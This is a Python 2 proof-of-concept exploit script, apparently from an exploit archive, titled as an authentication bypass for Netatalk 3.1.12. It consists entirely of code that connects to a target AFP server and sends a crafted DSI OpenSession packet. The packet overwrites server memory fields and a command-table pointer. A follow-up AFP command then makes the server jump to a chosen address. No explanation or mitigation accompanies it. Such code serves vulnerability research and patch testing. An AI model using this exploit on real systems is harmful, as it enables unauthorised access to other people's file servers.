Netatalk 3.1.12 – Authentication Bypass (PoC)
import socket import struct import sys if len(sys.argv) != 3: sys.exit(0) ip = sys.argv[1] port = int(sys.argv[2]) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[+] Attempting connection to " + ip + ":" + sys.argv[2] sock.connect((ip, port)) dsi_payload = "\x00\x00\x40\x00" # client quantum dsi_payload += '\x00\x00\x00\x00' # overwrites datasize dsi_payload += struct.pack("I", 0xdeadbeef) # overwrites quantum dsi_payload += struct.pack("I", 0xfeedface) # overwrites the ids dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr dsi_opensession = "\x01" # attention quantum option dsi_opensession += struct.pack("B", len(dsi_payload)) # length dsi_opensession += dsi_payload dsi_header = "\x00" # "request" flag dsi_header += "\x04" # open session command dsi_header += "\x00\x01" # request id dsi_header += "\x00\x00\x00\x00" # data offset dsi_header += struct.pack(">I", len(dsi_opensession)) dsi_header += "\x00\x00\x00\x00" # reserved dsi_header += dsi_opensession sock.sendall(dsi_header) resp = sock.recv(1024) print "[+] Open Session complete" afp_command = "\x01" # invoke the second entry in the table afp_command += "\x00" # protocol defined padding afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry afp_command += struct.pack("Q", 0x4295f0) # address to jump to dsi_header = "\x00" # "request" flag dsi_header += "\x02" # "AFP" command dsi_header += "\x00\x02" # request id dsi_header += "\x00\x00\x00\x00" # data offset dsi_header += struct.pack(">I", len(afp_command)) dsi_header += '\x00\x00\x00\x00' # reserved dsi_header += afp_command print "[+] Sending get server info request" sock.sendall(dsi_header) resp = sock.recv(1024) print resp print "[+] Fin." |